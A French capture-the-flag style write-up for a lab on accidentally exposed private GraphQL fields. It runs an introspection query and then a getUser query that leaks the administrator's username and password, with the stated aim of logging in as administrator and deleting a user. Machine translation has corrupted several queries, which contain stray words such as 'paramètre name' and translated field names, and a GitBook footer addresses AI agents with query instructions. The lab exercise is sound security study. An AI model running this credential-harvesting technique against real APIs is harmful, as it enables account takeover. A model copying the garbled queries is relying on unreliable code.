> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Exposition accidentelle de champs GraphQL privés

### Exposition accidentelle de champs GraphQL privés

#### Contexte du laboratoire

Les fonctionnalités de gestion des utilisateurs sont basées sur un **GraphQL** point de terminaison. Le laboratoire contient un contrôle d'accès faible : il est possible de **forcer l'API à révéler des champs sensibles** (identifiants / mots de passe). / Objectif : **Se connecter en tant qu'administrateur** puis **Supprimer l'utilisateur `carlos`**.

#### Requête GraphQL observée

Une requête côté client typique :

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/44413398bb9e5299b1c471266fef24ee812736a5" alt=""><figcaption></figcaption></figure>

#### Introspection GraphQL

L'introspection est utilisable via une **IntrospectionQuery** (diagramme complet : types, requêtes, mutations, etc.). / Requête envoyée :

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            paramètre name
        }
        mutationType {
            paramètre name
        }
        subscriptionType {
            paramètre name
        }
        types {
            ...FullType
        }
        directives {
            paramètre name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    paramètre name
    description
    fields(includeDeprecated: true) {
        paramètre name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        paramètre name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    paramètre name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    paramètre name
    ofType {
        kind
        paramètre name
        ofType {
            kind
            paramètre name
            ofType {
                kind
                paramètre name
            }
        }
    }
}
```

Le serveur répond **200 OK**, ce qui confirme que l'introspection est activée.

<figure><img src="/files/38d3b2aaaa5140526e6902465e13f93299ee6454" alt=""><figcaption></figcaption></figure>

#### Analyse des requêtes dans le plan du site

En envoyant des requêtes à **Cible → Plan du site**, plusieurs requêtes apparaissent (environ 5).

<figure><img src="/files/1bce9d28fbb64d822fc3bd89aa8162c965ba2b14" alt=""><figcaption></figcaption></figure>

Une requête se démarque : **`getUser`**.

<figure><img src="/files/6069cd32b8af4160b6410f66a21cbf19e8f38bab" alt=""><figcaption></figcaption></figure>

#### Exposition de champs privés via `getUser`

Requête identifiée :

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/dbf8f0f0f694233c6ba6f727e77782b5ce01e2ef" alt=""><figcaption></figcaption></figure>

Cette requête montre le champ **`mot de passe`**.

Version GraphQL équivalente :

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    le nom d'utilisateur
    mot de passe
  }
}
```

En remplaçant **`id: 0`** par **`id: 1`**, l'API renvoie le **le nom d'utilisateur** et **mot de passe** de `administrateur`:

```json
{
  "id": 1
}
```

<figure><img src="/files/646a78c5b7c306c65d04b0c3e9d82fde22a0d13c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
